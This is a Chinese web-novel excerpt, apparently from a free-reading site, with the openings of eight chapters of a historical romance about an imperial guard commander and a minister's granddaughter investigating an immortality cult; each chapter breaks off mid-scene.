《指挥使今天不上班》 1. 长生教 《指挥使今天不上班》全本免费阅读 京都今年的春来得早,这才三四月就已经转暖。 大早上街上来往的百姓多,人声嘈杂里忽然就听到一阵凌乱的马蹄声,有人高呼着“信者长生”一路冲过来,百姓受了惊纷纷退避。 只见那人浑身都是血,随着马匹奔跑,血滴了一路。临了近了,看着那人披头散发双目血红凸出,嘴角挂了一溜白沫子甚是骇人。 “信者长生!信者长生啊哈哈哈哈哈!我得长生!” 疯疯癫癫的,教人害怕。 “箭。”这个疯子身后有几匹马紧追着,为首一人绛红飞鱼服端坐马上。 他一抬手,一支极长的羽箭就递了过来。刚搭上箭,前面就忽然蹿出一架马车,马车精致得很,看着像是有钱人家的。 驾车的人侍卫模样,他看了那疯子一眼,低声道:“姑娘,要拦吗?” 车内的人微微掀开车帘,见披头散发的疯子驾马冲过来,身后还远远甩着几个同样驾马的人当下就做了决定:“拦下吧。” “姑娘坐稳了。” 说罢,待还有些距离时,黑衣侍卫抽刀斩落了马首,马车就着惯性将马尸撞翻,马背上的疯子瞬间滚落在地。他扭曲爬行着,颤巍巍的想站起来:“长生……哈哈……长生……” 他话还未落,就被一支羽箭当胸穿过。 后面驾马的人一息便到,有穿着利落的人翻身下马拨弄着地上的尸体,随后在尸体腰带里翻出一个沾满血的令牌呈给马背上的人:“大人,果然又是他们。” 被称作大人的人嗤了一声没说什么,望向那边停下的马车,马车檐角挂了一个霍字铜牌。 “车内何人?” 黑衣侍卫立在马车边,片刻,有人撩开帘子。 “顾指挥使,久闻大名了。” 顾衍此时也未下马,只在马上垂眼看着从马车里探出半个身子的姑娘,这姑娘十七八岁的模样,生了一双桃花眼,容貌倒是不算太出挑,只能称一句漂亮大方。 让人侧目的是她一身的衣物。他一眼便看出这身是上好的流云纱笼烟缎,都是百金一匹还有价无市。再说她这套看着清雅的头面,通透莹润,这一身下来怕是价值不菲。 如此奢靡的打扮,再看到马车前悬挂的狼纹霍字牌,身份就呼之欲出了。 ——当朝太傅霍书的孙女儿霍青青。大理寺卿霍承阳的女儿,她头上还有个少年成名的将军哥哥霍清风。 霍家这一家子是明顺帝的亲信,否则岂会让他们一家三重臣?若说他顾衍是明顺帝的刀,那霍家就是明顺帝的左膀右臂,文有霍书、霍承阳,武有霍清风。 先帝在时,霍书为太子师,便是当今圣上的恩师。如今圣上登基已有十几载,霍书早封太傅,虽已经少踏朝堂说着虚衔,但仍有随意进出朝堂的特权,其地位可见一斑。他儿子霍承阳官至大理寺卿,乃三品大员,期间翻冤案破要案无数。霍清风所领青骑,原为霍家军,曾□□北蛮纵横西北。说来好笑,自这霍青青出生取名后,才改霍家军为青骑。 这怕是古往今来第一个因为生了个女儿改大军名字的。传言当年要改军队名儿还得了军中赞成,最后才上报圣上。 而这霍青青,早些年听闻送到了南方庄子上养着,一养就是近十年,现下应当是刚巧回京就被他碰上了。 正思索着,一旁的人过来低声道:“大人,都收拾干净了。 顾衍点点头,又朝霍青青道了句:“多谢霍姑娘出手相助,顾某还有公务在身便先告辞了。” 说罢,他勒马欲走。 “顾大人且慢。”霍青青叫住他。 顾衍一回头就见着霍姑娘提着裙摆跃下马车,站在马车前朝他笑:“我也要进宫,先去看望皇伯伯,而后随爹回家。顾大人,能否同行?” 她眼里盛了光,顾衍心念一动点头允了。 少顷,后面的锦衣卫拉来一匹马,那个侍卫就赶着马车往霍府去了。 顾衍和霍青青端坐马上慢行,霍青青侧坐着,不像骑马倒像骑驴。他们二人挨得近,霍青青看了一眼落在后面老远的锦衣卫勒住马头靠近顾衍,她声音很轻:“这次我爹寻我回来,便是为了长生教。” 听到长生教三个字,顾衍看了她一眼,同样放轻了声音:“霍姑娘知道多少?” 霍家这个大小姐,他知之甚少,连户部都只有寥寥几笔,写的无非是生辰和族谱,其他的半点都没有。长生教如今兴起,信众无数,搅乱民间最要不得。他查了快一年,背后之人还是毫无头绪。如今霍家大小姐竟说知道些东西,他有些好奇了。 霍青青忽然轻笑一声,凑近了些:“顾大人又知道多少?” 他曾经没见过这姑娘,但见过很多女子。以前长在江湖里,摸爬滚打,看过风尘女子飒爽女侠。后来入了朝堂见惯了高门千金,还有难缠的公主郡主们。 不过,于他也没什么不同的,都是两只眼睛一个鼻子,总归长不出其他样子。 眼前这姑娘不像是被那些条条框框束缚住的娇小姐。她抱 2. 传闻 《指挥使今天不上班》全本免费阅读 守门的御林军见是顾衍,客客气气的在前面带路,这个点还是上朝的时辰,圣上又交代了若是指挥使来就直接去书房候着。 带着二人绕过正门,穿行到御书房。远远就看到福公公站在门口。福公公是圣上身边最得宠的大太监,听说圣上还是少年时就一直伺候着,至今已有三十多年了,谁见了都要让三分。 别看他一团和气,实则是最不好糊弄的。 福公公已到了知天命的年纪,眼神却好,远远就瞧见顾指挥使一身绛红飞鱼服,身边还跟着一身烟绿配薄粉罗裙的小姑娘。 直到小姑娘喊上一句福公公,他才认出来,登时笑着朝霍青青招手。 等霍青青到得近处,他看了又看才笑着道:“霍小丫头,真是好久未见。长高了。” 福公公是认识霍青青的,在顾衍还没有入宫前,霍青青可是京都的小霸王。当今圣上没有个女儿,生了三个都是儿子,为此他懊恼不已。直到霍青青出生,霍家是他的近臣,霍青青打小又古灵精怪的招人稀罕得很。 他记得有一次,霍青青在宫里过夜,大早醒过来自个儿摸到圣上面前要他抱。 末了,不撒手了。 圣上也是纵容得很,得,就抱着去金銮殿听政。 后来还是上朝的霍书霍承阳两兄弟看不下去,好说歹说把霍青青给抱下去。经此一事,许多大臣才惊觉霍家圣宠未减。 只是后来,霍青青九岁时忽然就生了一场重病,御医都束手无策,气得圣上直骂太医院的人是庸医。三个皇子也是天天轮着来看这个小妹妹,见她难受也都不好过。 那天月亮刚升起来,霍青青又烧起来,他跟着圣上过来守夜。有个道士也不知怎的,像是突然出现,手里抱着一个莲花托拂尘,瞧着仙风道骨。他一眼就看到龙榻上的霍青青。 “这霍家孩子,撞煞了,要化煞气。”道士说着,来榻边坐下,旁的人像是这才醒过来,一时有些惊骇。连着圣上在内,都觉得刚才像是魇着了。 这下都安静下来,许久,霍承阳才开口:“那请问道长,小女该如何化煞?” 道士笑笑,拂尘一扬划出个弧度,手上捏出一个诀当空画符,然后朝着霍青青一点。霍青青本来还皱着眉,突然就那么安稳睡着,烧也霎时退下去。 道士看向霍承阳,缓缓道:“若是她成了我小徒弟,我帮她化煞就是应该的。霍大人,你怎么看?” 霍承阳看向圣上,福公公随侍在一旁看得真切,他看到圣上眼里挣扎了一下,但又心疼小丫头,只得朝他点点头。 这般,霍承阳还是说:“我这女儿,从小被宠惯了,这事圣上同我都做不了主。唯有等她醒了你自己问她,她若是同意,我们也就同意。” 就这样,道长乐呵呵地说出了化煞之法,就是将霍青青送去南方养着。霍家就点了霍清风不时去照看。 这之后啊,当时圣上收到信说霍青青刚一到南方地界就好了许多,拜了那个道士作师父。 结果一查,那道士就是在大煜名声响当当听闻有大神通的灵玄子。 这一养就是快十年。 福公公叹了口气,抬手摸上霍青青的头:“霍小丫头,圣上可是想你得紧,你那三个皇子哥哥也一样的。这次回来是不是不走了?” 他也喜欢这小丫头啊,他身为宦官,一生都无儿无女,后也绝了。这些年多少人劝他,收个义子,但他又怕他看不清人心,也怕分了神照顾不好圣上便都推了。如今好了,霍小丫头回来,他也能当自己有个孙女儿。 霍青青笑眼弯弯:“不走啦。知道皇伯伯想我,这不是一回来就先进宫了吗?我也想福公公,今日想吃糖醋排骨和酱肘子。” “还是个鬼灵精。”福公公笑笑,忙命人去准备,今日有霍小丫头在,圣上一准能多吃几大碗。 “进去等着吧,一路过来也累了。里面你的位置,圣上可是分毫未动。”他给霍青青推开门,才觑了当背景板的顾衍一眼,拿起腔调道:“顾指挥使也里面请吧。” 顾衍点点头:“多谢福公公。” 顾衍之前第一次来书房就觉得奇怪,书房里面紧挨着圣上的椅子边放了一张软垫和一张矮一 3. 合作 《指挥使今天不上班》全本免费阅读 顾衍看一眼天色,估摸着离下朝还有一个时辰,便起身在御书房走动几下活动筋骨。 “顾大人,你可知我方才见你时为何说是我爹寻我回来?”霍青青点着下巴,看着眼前身形高大的青年。 他足足比她高出一个头,身形修长挺拔,此刻站着,遮住了些光线。 闻言,顾衍坐下来,就撑在矮桌上跟她对望:“我倒是不知道,霍姑娘到底有什么本事。” 他端详着眼前的姑娘,如今离得更近了些,也没看出花来。 霍青青也不绕弯子,兹事体大,他俩若是能提前谈妥,于后面有利。 她的指尖点在桌面上,一双桃花眼微弯:“我能给顾大人的帮助便是,消息。” 顾衍饶有兴致地看她,霍姑娘真是有意思得很。 “你得不到的消息,我可以去查。若是我没猜错,不日后便要去一趟青州。”她眼含笑意,接着道:“青州那方,近来有不少离奇事。我爹修书一封,其一写了让我通查长生教今年所有动向,其二嘛……” 她笑开了:“让我赶紧回京都跟顾大人打个照面看看能不能看对眼儿。” 顾衍哂笑一声:“骗子。” 霍承阳那个铁公鸡,挣钱都给自己闺女花。每年都送好几车金银珠宝上等布料给这个远在南方的闺女,宝贝得跟什么似的,就怕被人抢走。 怎么可能给他闺女相亲?他怕是巴不得他这闺女一辈子不嫁人。 被识破了,霍青青无所谓地笑笑后肃了脸:“好了,不跟顾大人说笑了。其二,是圣上疑青州一事或与长生教有关有意让你我二人前往青州查案,若真有据点,就尽量清理掉。” 顾衍端正身子,拿起绣春刀,以刀柄挑起霍青青的下巴,长眉一挑,笑得很是风流:“那霍姑娘有什么本事跟我查案?” 这霍姑娘瞧着,除了胆子大些,比其他大家闺秀活泼,好像也并无其他出色的地方。跟他一起查案?圣上怕不是纵容久了,觉得这么一小姑娘什么都能做吧。 还未等他思索完,就觉得一股大力将他的刀拖过去。 一时不察,他就被霍姑娘拽住衣襟。 “哐当”一声,矮桌上的砚台落了地,还没十八岁的霍姑娘将京中闻名色变的顾指挥使压在矮桌桌面上,拿着带鞘的绣春刀顿在他耳畔。 顾衍看着靠近的霍姑娘,看着她越来越近的脸。这张脸生得白皙柔弱,桃花眼带上七分风情,快十八岁的姑娘,已经长开,却还带着点幼稚的婴儿肥,忽然……他很想上手去捏一下。 他这么想的,也这么做了。 谁料刚抬起手就被霍青青察觉,霍青青柳眉一挑,动作极快地取下他的发冠发带,将他双手一扣一绑,还抬手拍拍他的脸:“顾大人,老实点。” 明顺帝跟霍承阳进来看到的就是这一幕。明顺帝先看到被压在矮桌上披头散发的自家指挥使,才抬头看到许久不见的霍家丫头,一时恍惚。 直到霍青青松开手笑着朝他们拱手:“皇伯伯,爹。” 顾衍利落地站起身,抬手飞速绑好自己头发束个马尾:“臣见过陛下。霍大人。” 半晌,明顺帝和霍承阳才缓过神来,明顺帝恍惚着抬手挥了下:“都免礼。” 方才那一幕对他俩冲击太大,莫说明顺帝好些年没见着霍青青,就是一年见好几次的霍承阳都没想到自家闺女养成了这个性子。他知道自家闺女大胆,但没想到能大胆到这个地步,心底有些无奈。 霍青青歪头朝霍承阳身后看去,果不其然看到了跟在他身后的霍十一。进城时她让霍十一先行回去,现下他过来应当是已经给家里报过平安。 不知为什么,她突然看着低眉敛目的霍十一觉察出来,他生气了。但是此刻人太多,她也不方便问,要知道她家十一,是甚少生气的。 “青青……你们方才……”明顺帝摩挲着热茶,喝下一口压惊。 霍青青笑笑,眼波流转间看向顾衍:“方才跟顾大人闹着玩儿呢,顾大人说想看看我武功如何。是吧?顾大人。” “是啊,霍姑娘好身手。”顾衍眼尾微扬带出一抹弧度:“霍姑娘厉害得很,我都栽了跟头。” “顾大人夸大了。” 这俩人你来我往,互相吹捧,明顺帝僵硬着脖子,霍承阳实在是看不下去出声低喝:“青青,好好说话。你与顾指挥使谈得如何?” “谈得很好。”霍青青揉着脖子,然后坐到明顺帝身侧:“皇伯伯,是不是要下旨?” 明顺帝这才笑出声来,伸手戳了下她的额头:“就你机灵。只是……朕没记错的话,再过一月是不是你十八岁生辰?” 这次这么急着召霍青青回来,除去协助顾衍调查青州案,就是为了霍青青十八岁生辰。 过去的那几年里,他身为帝王,甚少能离京,去南方路途又远,若是去一趟便要花上月余,公务丢不得,便只能送去贺礼。好在青青懂事,每年也给他写信,跟他说些趣事。如今终于回来,这生辰定要大办的。 霍青青很爱笑,一笑眼瞳里就像落了光,她将头撑在桌案上:“青州一案,事不宜迟。我的生辰可以提前呀,不过就是准备会仓促一些。” 其实她也知道,明顺帝想借着她的生辰警告一些人,如今朝堂之上吏部尚书宋世荣势大,近几年不太安分。他的势力在朝堂之中盘根错节隐有冒头的苗头,奈何抓不住他们把柄。 更何况,宋世荣为老臣,跟她爷爷一样是两朝老臣,不可轻易拔除。 明顺帝想大办她的生辰宴,就是想告诉这些人,朝堂之上,百年世家霍家还在,一门三重臣,受尽圣宠。若是想反,还需好好斟酌。 “霍十一 4. 霍清风 《指挥使今天不上班》全本免费阅读 等明顺帝叙旧够了,就顺势去了栖凤宫,福公公会意,差人把准备好的饭食一起送过去。 菜摆了一大桌子,皇后一见霍青青当即拉着她看了又看又是夸漂亮又是唠家常,随后跟明顺帝一左一右把霍青青夹在中间坐着。霍承阳扭过头去抹了一把脸,他这个当爹的就被排挤了,这还不够,等三个皇子一来,就把他挤得更远了。 很快,霍青青碗里堆成小山,霍青青哭笑不得只能慢慢吃着,看着自家爹憋屈地坐在对面有些无奈。但她无法,毕竟圣上为大。 这顿饭吃得欢声笑语。 如今的三个皇子,都是皇后齐小婉一人所出,三个皇子也算得各有千秋。 大皇子赵延身子弱,但文采斐然,性子柔弱且细心,虽不是多好的帝王人选,但难得心善。二皇子赵亓喜好骑射,自小拜大将军徐从风为师,百步穿杨不在话下。三皇子赵枢……应当是按着帝王来培养的,沉稳冷静,政务也出彩。 听闻前几年阜州水患,他自请前往治水,不出半月便稳下阜河,只花了两月建堤坝重建阜州,极得民心。 似是不经意间,赵枢抬头,正好对上霍青青的眼睛,遂点头,微笑示意。 等吃完饭,出宫门时天已擦黑。 霍青青靠在马车上,这才觉察出累。霍承阳坐在她身侧,知道自己这闺女这一路行来早就累了,只是强撑着不肯说。 慢行的马车里,他叹了口气:“青青啊,下次累了就不要强撑。”他的女儿,他比谁都了解,女儿看着娇小羸弱,实则厉害得很,性子又倔,一旦决定的事,十头牛都拉不回来。 他很怕…… 他怕自己女儿过刚易折,女儿的脾气他也是知晓的,看着跟谁都聊得来,但真正的朋友没几个。如今都快十八了,还未曾相看夫婿,他再不舍得女儿出嫁,也不能一辈子都陪着她。她的路长得很,而他已经老了,已快到知天命的年纪。 马车檐角的灯笼摇晃着,带出一圈又一圈光影,他端详着女儿,女儿这张脸其实更像他。他又想起来,霍清风十四岁生辰时,他问霍清风有什么愿望。他说……他希望一辈子,都陪着妹妹。 一辈子有多长?他那么小的年岁,真的知道吗? 霍清风是他亡妻拼了一条命带回来的孩子,大了青青六岁。霍清风懂事很早,七八岁已经明事理,是真的从骨子里疼青青。青青小时候调皮,做错事就推给霍清风,霍清风从来不解释,挨打就受着。 其实他都知道,但看着霍清风不卑不亢给青青顶罚,又不忍心。 罢了,小辈的想法他不会轻易干涉。 如今霍清风二十有四,任职军中,已是正三品定远将军,领霍家八万青骑。 思虑间,马车停下来,有人撩开帘子:“青青睡着了?” 霍青青迷糊着,被突然晃进来的明亮灯火晃了眼,眼眸眯成一条缝眼角有了些泪花。 外面站着的青年玄色武袍打底轻甲未脱,他先接了霍承阳下马车,然后拦住了要上前的霍十一:“我来。” 霍承阳见状轻声道:“十一,去收拾行囊吧。京都到青州,还要赶好些时候,别耽搁了。” “是。属下……”霍十一犹疑一瞬,最后看向霍青青,看着霍青青几乎是下意识地搭上霍清风的手眸色微黯:“这就走了。” 说罢,便牵了马往主街去了。 霍承阳其实看得分明,只无奈叹了口气,拢着手往自己卧房去。 这边,霍清风接下霍青青小心抱稳,刚迈过门槛就听到怀里的霍青青迷糊着问他:“哥,你怎么回来了?” 她困顿着,青骑驻军在陵水郊外,这一趟,少说要赶五日的路,这夜里他轻甲都还未卸,定是刚回来。 “这不是得了你的消息,赶着回来接你吗?”青年的声音带了笑,听着很是舒服:“好在接到了。没来迟。” 他也许久没见过青青了,最后一次见她,是在三年前。 他刚打了一场胜仗,将北蛮逼至境外后占回原本属于大 5. 青柳庄 《指挥使今天不上班》全本免费阅读 一晃过去五日,霍府的门槛完好无损,原因呢,是霍清风提前叫了一堆人把门口护得跟铁桶一样。 为首的霍四当日可是拍着胸脯保证,有他在,莫说前来相看的世族,就是连只苍蝇也休想飞进来。 他果真是说到做到,一连五日,霍府除去第一天有人轮着来吃瘪,第二天吃瘪的人少上一半,后面就没几个人敢再来。 你说……这为了看上一眼霍家大小姐就把命搭上,是不是不太划算? 霍青青今日难得起早,锦屏给她梳了个好看的发髻,千叮咛万嘱咐不要弄塌了。霍青青听她絮叨不停,无法,只得应下来。 她打着哈欠跟霍清风一起用过早膳,霍清风见她困倦让她回去睡,霍青青却不肯,说什么今日要出门的。霍清风无奈笑笑:“我今日还有些公务,怕是不能陪青青出去了。” “没事,有十一在。”霍青青说完,后知后觉地反应过来,十一好像……前几日就启程去往青州查案。 辰砂低垂着眼递过干净的帕子,霍青青顺手接过,笑道:“谢谢十……辰砂。” 辰砂跟十一一样,不爱说话,杵着跟个木头似的。 霍清风扫了他一眼,没说话。只转头叮嘱霍青青:“照顾好自己,有什么想买的就买,这个月的俸禄,我都给你装好了。不够就跟府里支。” 霍府的账目一向是青青在管着,她爹、叔叔还有哥的俸禄都会自己安排,结果大多是到了她的腰包。 霍青青笑笑:“哥也要给自己留点儿银子以防万一啊,我的钱够花。” 霍清风没应声,垂下眼去看公务,唇角挂了笑。见状,霍青青也不再打扰,带着辰砂走了。 为了不弄塌发髻,霍青青无奈之下只能乘马车。辰砂在外赶车,低声询问往哪里。他不是霍十一,他不知道霍青青爱去哪些地方,更不知道霍青青喜欢什么不喜欢什么。他从被编入皇家的死士营开始,就只有两个字:听令。 姑娘的声音懒散,似是还带着一丝倦怠:“去八方斋,吃些东西。” “是。” 霍青青撑在窗口看着外面徐徐后退的街景,前几日就回来了,奈何一直懒散。今日得好好看一下阔别数年的京都。 一路看过去,霍青青不由感慨,这么些年过去,京都还是老样子。街上繁华,这个点叫卖的百姓也多,就是不知道八方斋的吃食还是不是老样子。 马车刚行到西街口,就缓缓停下来,辰砂的声音响起来:“小姐,是顾衍。” 顾衍坐在马背上,眉一挑,皇帝的死士,没规没矩的。 还真是赶巧了,前几天出门遇上顾衍抓人,今日出门撞上顾衍巡街。霍青青自马车里探出头,朝着顾衍笑开了:“又是顾大人呀。” 霍姑娘今日梳的发髻很好看,衬着一身烟绿缠枝绣银罗裙叫人心底舒坦。顾衍作为指挥使,巡街这事甚少有他,今日也是闲来无事,兴起而已,未曾想就又遇见了。 顾衍虽在许多朝臣口中都是嗜杀野蛮,但爱笑脸迎人,端看那笑有没有达眼底。 此时他看着霍姑娘也在笑,那笑如春风,他纵着马在霍姑娘面前站定:“喝酒?” 择日不如撞日,他可是还记着霍姑娘前几日在御书房外邀他喝酒。 “好呀,顾大人可要同乘?” “不必,我骑马便可。” 说着,他将挂在鞍上的东西一股脑丢给身后随行的宋无忧。宋无忧手忙脚乱地接住,然后看着自家大人的背影无语凝噎。 瞧瞧,自家这大人,别是老树开花看上人小姑娘了吧。 …… “辰砂,去郊外青柳庄。” 郊外空气好,马车慢行在平坦的山道上,绿树成荫里落下斑驳天光。霍青青撩开窗上的帘子,看着一侧打马的顾衍。他青年人了,只有二十二的年纪,已是在朝堂里磨砺好几年的大臣。她只跟他见过两次,都见他一身绛红飞鱼服,今日多披了一件玄青的薄披风。飞鱼服好看是好看,看久了也会觉得疲乏。 姑娘的声音在山间格外好听:“顾大人穿银袍定然更好看。” 顾衍侧头看她一眼又转过头去:“太贵,颜色太浅,弄脏不好洗。” 也是……银袍锦缎,裁价高昂,这些袍子只适合高门大户那 6. 对饮 《指挥使今天不上班》全本免费阅读 方才掌心的触感陌生得很,顾衍收了手,在刀柄上摩挲好几下才把异样的感觉消下去。 本来是逗她,谁曾想她胆子这样大。顾衍跟在她身侧穿过前院,同她并肩而行,越发觉得这个姑娘太过大胆。 大煜本民风开放,对女子也不会过多拘束,就是朝堂都男女不论。只是臣子,总归不是小打小闹,至今都只有锋锐骑里一个女将军。那女将军一年前受封,曾随雁将离大将军征战西北,连战连捷出力不少。她惯以玄甲覆面,至今都未有人窥得真容。 后来雁将离得胜还朝,亲自向圣上请封。 再说这雁将离,也是二十四五的年纪,便官拜大将军。 锋锐骑只有五万,这五万却都是能以一当十的精锐之师。常年驻守边关,甚少归京。 “顾大人在想什么?” 顾衍被打断,这才发现已行至一处院落,院子里种着一棵盘根错节的老柳树。枝条被风一吹,晃荡着生出翠绿烟波。 霍青青差人拿来一把花锄,刚卷了袖子就被顾衍抽走:“我来挖吧,总归不能真的白喝你的酒。” 等她点了个地方,顾衍就蹲在树下挖起来。 霍青青站在树下,看着他半蹲着在树下挖酒,目光寻着他的肩背一路追逐到他好看的侧脸。 “霍姑娘向来这么大胆?”他说笑一样问霍青青。 霍青青垂首整理着自己的袖摆,漫不经心地掐下一片柳叶:“不都是人?一个鼻子两个眼睛。”她生性不爱立规守矩。在她看来,守着些可有可无的规矩就是把自己困在一个框里,何必活得这么累? 想做什么就去做,想玩儿什么就去玩儿,这才该是人生。 “我瞧着顾大人也不是那等守规矩的人。”她顿了顿,抬手将被风吹乱的鬓发往耳后别好接着道:“不过话说回来,有的规矩是得守守,没了规矩天下也就乱了。” 土里埋着的酒已露出点封坛的红布来。 顾衍轻轻划拉几下就拎出来,他拍开封泥,新鲜泥土的味道混合着酒香瞬间飘散在院落。 “嚯,好酒。”他笑赞。 “是吧!我可没骗顾大人。”霍青青取来酒碗,接过酒坛子倒了七分满。 “不过……一次可就这一坛,挖多了我爹要找我麻烦的。”她递过来一碗。 顾衍接过跟她一碰,好酒入喉,润且回味无穷,他道一句:“你爹要是找你麻烦,我帮你挡着?就说是招待顾指挥使,破费了。” “顾大人仗义。”她笑着又跟顾衍一碰,一口气饮尽。 两人就这么并肩坐在树下喝酒,时而闲话几句。一坛子酒很快见底,霍青青已是醉了三分。 她抬头微眯着眼透过柳叶的缝隙看大好天光:“这京都,我已九年多未曾回来了。南方的庄子虽好,但不是家。顾大人,你家不在京都吧。” 顾衍放下酒碗,看着身边微醺的霍姑娘,小姑娘白皙的面容上泛起微红,比往日瑰丽太多。 他看得手痒,遂不动声色地抬起手极快极轻地在她脸颊上捏了一下。 “嗯?”霍青青转过头疑惑地看他。 他手收得快,若无其事地摩挲着指腹,指尖还有余热。 “喝醉了?”他问。 霍青青微醉时反应迟钝太多,头一点一点的,然后朝他露出个灿烂的笑容:“没醉。” 顾衍嗤了一声没拆她的台。 “去年这个时候,我喜欢去郊外纵马。我的马,叫飞雪。照夜玉狮子跟大宛马的混血,能日行千里。”她说着,随手将头上的发钗扯下来把玩,发钗打着转被她抛上去又接住:“还有疾风骤雨。它们是一窝的海东青,我遇到它们的时候,大鸟死了,它们都快饿死了。” “我捡回来给它们喂吃的,好不容易才救活。它们可聪明,学东西又快,就是对着外人就是刺猬,竖起浑身的刺防备着。” 她转过头来看着顾衍:“就像顾大人一样。” 顾衍一怔,旋即轻声笑了,声音带着饮酒之后微微的哑意,如酒香醇:“如何……就像我了呢?” 被眼前的霍姑娘看透的感觉,其实说不上坏。 霍青青不再应他,靠着树干闭上眼小憩。临近傍晚的阳光,不刺眼,更何况还有老柳树替她遮光,她就这么睡过去。 清幽的院落里,顾衍遮住自己眼睛片刻,从怀里摸出一支小巧的白玉笛,上面刻了流云拢月。 轻缓的笛声缭缭绕绕地散在院落里,那笛音带着说不清的情绪,只听得人心中空落落。霍青青睡得格外沉。短暂的小憩里,她梦到有人在泥沼里挣扎,她看不清他们的面貌,只伸出手去想要帮他们,他们眼中错愕,然后紧紧抓住她的手臂。她挣扎着,一点一点将人拖上来,最后三个人都精疲力竭躺倒在满是鲜血的地 7. 翻墙的顾大人 《指挥使今天不上班》全本免费阅读 闲暇的时光是过得最快的,那日喝酒回去,锦屏又絮絮叨叨好久,拆头发时发现少了根嵌玉银钗就更不痛快了。 霍青青打发辰砂去青柳庄那边找,找了一圈都没找到只能作罢。也不是什么名贵的东西,就是普通银钗嵌了颗白暖玉。 披风……霍青青看着洗过叠好的玄青披风,本叫了人来想给顾衍送去,又觉得不必。明日便是生辰宴了,顾衍那边也收了帖,届时还给他便是。 很快就是快日暮。 霍青青百无聊赖地躺在院里的摇椅上看落日。爹说这几日大理寺太忙,那些个官员都宿在那边,他要今晚才回来。爷爷还尚在远郊明光寺礼佛,不知何时回。 如今京都尚算太平,前些日子那个长生教教众的事之后他们便消停了,像是突然消失,再寻不到踪迹。按理来说,她动了自己手下的人,应当不会漏掉什么…… 但是……很奇怪。 怪就怪在他们好像突然出现,又突然消失。 京都有锦衣卫巡街,另设御林军在这里只能是自投罗网。在此之前,从未有过长生教教众在京都出现。 她和顾衍,到底漏掉了什么…… 正思索着,忽然有个黑影盘旋着落下来,最后立在椅子扶手上扑扇着翅膀就来蹭她。 “疾风!”霍青青轻轻抱住它,亲昵地用脸颊蹭它的头:“你终于回来了,军中没亏待你吧?” 疾风歪头看她,又转头看向院子门口,啾鸣一声飞起来,径直落在霍清风肩头。 霍清风臂弯搭了一件月白压纹的外袍,走过来给霍青青搭上:“谁敢亏待它?它俩脾气可大着,陈钧跟我诉苦好几回了,日日都说它俩挑食,给的肉条凡是放过一天的都不吃。”说着他随手摸上霍青青的头,手掌摩挲在她头顶:“说多少次了,京都还寒,穿这么单薄小心染上风寒。到时候又要喝几剂苦药。” “头发乱了。”霍青青躲闪着。 疾风忽然蹿起来就往一处墙头飞。 银芒迭起间,疾风往旁边一飞,然后盘旋上高空,又狠狠俯冲下来。尖利的爪在那显眼的绣春刀刀鞘上留下一串火花。 霍青青连忙起来叫了声:“疾风,回来。” 疾风这才一转身子飞回来重新落在霍清风肩头,在他肩头探头探脑看着来人。 来人一袭玄色绣银红官服大喇喇地坐在墙头,施施然擦着绣春刀。末了,他看过来:“我的披风呢?” 半落的日阳下,官服的绣线折射出细碎的金光,青年曲腿坐在墙头,张扬凌厉的面容带着惯常的笑意,肆意落拓。 这人…… 霍青青抿唇,桃花眼微挑带着七分笑:“顾大人翻姑娘家的院墙就是为了取披风?” 霍清风抬手抚顺疾风的羽毛,看向顾衍的眼神及其不善:“顾衍,你越界了。” “越界?”顾衍闻言嗤笑一声,眼神在霍清风和霍青青之间来回打转:“我瞧着霍将军跟霍小姐怎么不像啊?” 呵……霍清风心底轻咤,眼眸染上戾色,须臾间银刃出锋,划出破空之声:“像与不像,她都是我妹妹。” 他惯用的是一把极轻的宽刃长剑,长剑薄而利。 就是这一把长剑,曾带着无匹的锐气杀穿北蛮,成了北蛮的噩梦。沙场之上谁都是英雄豪杰。八万青骑纵横西北时,飞扬的霍家青狼旗从未在战场折骨。青狼旗到了一处,那一处便是烽火可歇百姓安宁。 霍清风能领八万青骑,稳坐定远将军之位数年,不是什么好惹的主。 只是……二十有四还未娶妻…… 顾衍眸光一转,绣春刀朝前打出一个漂亮的刀弧,堪堪架住霍清风的宽剑,轻浅笑道:“听闻霍将军二十有四,还未娶妻啊……” 霍清风面上不显,手上力道加重下压。 在蛮力之下,顾衍只觉这柄薄刃宽剑力有千钧。不愧是少年称将的霍清风,顾衍心中一凛,只觉虎口微震,绣春刀刀身颤了颤。 他一挑,刀锋顺着宽剑剑刃朝上卷去。 一时间,院子里银芒闪烁,两道玄色的身影打得难舍难分。霍青青抱臂倚在廊下的柱子上闲闲看着打得正酣的两个人。 她伸手挠着疾风的下巴,疾风半眯着眼颇为享受。 两个人在院子里打打也不打紧,随他们就是了,反正这俩人……应当也打不出什么胜负。早在看到顾衍的第一眼,她就觉察出来,顾衍此人并不简单,连带着他的功法也是刚猛霸道。 而霍清风是从军营里磨练出来的,剑势狠辣老练,定然不会吃亏。他这把剑,名曰映青,轻飘飘的,与他的剑法大相径庭。 这边两人已过了上百招,两人谁都不肯停下,停下就是落下风了。 忽闻一声清亮的口哨,紧接着就是霍青青轻柔的声音:“疾风,去。” 疾风展开双翼,一声鹰唳划破长空,海东青本就是猛禽,爪喙锐利速度极快。瞬时便从空中袭向顾衍。顾衍眉头一蹙,绣春刀想抽出,奈何被霍清风牵制住。霍清风终是勾唇浅笑:“我妹妹,亲的。” 顾衍差点破口大骂,捂住肩膀上被剑划出的伤口半晌才憋出一句:“有妹妹了不起啊?” 他x的没见过这么不要脸的。 霍清风 8. 生辰宴 《指挥使今天不上班》全本免费阅读 昨夜里在霍青青院子摆宴,有霍清风管着没让霍青青喝多少。 霍书甚是欣慰,自己儿子是个家事不靠谱的,好在这个便宜孙子懂事。 遂第二日一早,霍青青就被锦屏拉起来打扮,辰砂在一旁捧着一应物件。 “老爷说要华丽一点。辰砂,去把妆奁里那支珊瑚钗拿来,对,嵌宝那支。”锦屏吩咐着,手上速度极快地编发挽髻。 霍青青迷迷糊糊地被折腾一通,等她彻底清醒天已大亮了。 从宫里送来的一套华服套上,她觉得整个人重了好几斤。 “拆一点?”她看了一眼镜子,试探着跟锦屏商量:“好锦屏,我这是十八,不是二十八,这一身……”太老气了,她没敢说。 锦屏细细端详片刻,觉得是有些不对,遂又找了两个小丫鬟来帮忙,拆了发髻重新梳。好在时间早,不至于误了时辰。 这边鸡飞狗跳的,前厅也是。 有来得早的宾客递了拜帖,在花园赏花或是吟诗作赋。 今日可热闹,京都有头有脸的几乎都来了,大到朝廷重臣,小到几个商贾。众人寒暄着,贺礼堆了不知多少。外面也摆上流水席,供百姓吃喝,只要说上一句吉祥话就可以落座。这生辰宴的阵势大得很,百姓得了好处也都交口称赞。 眼瞧着快到时辰了,一辆朴素的马车停在霍府门口,车上下来一个四十余的中年人,步入府中,人声静了一瞬。 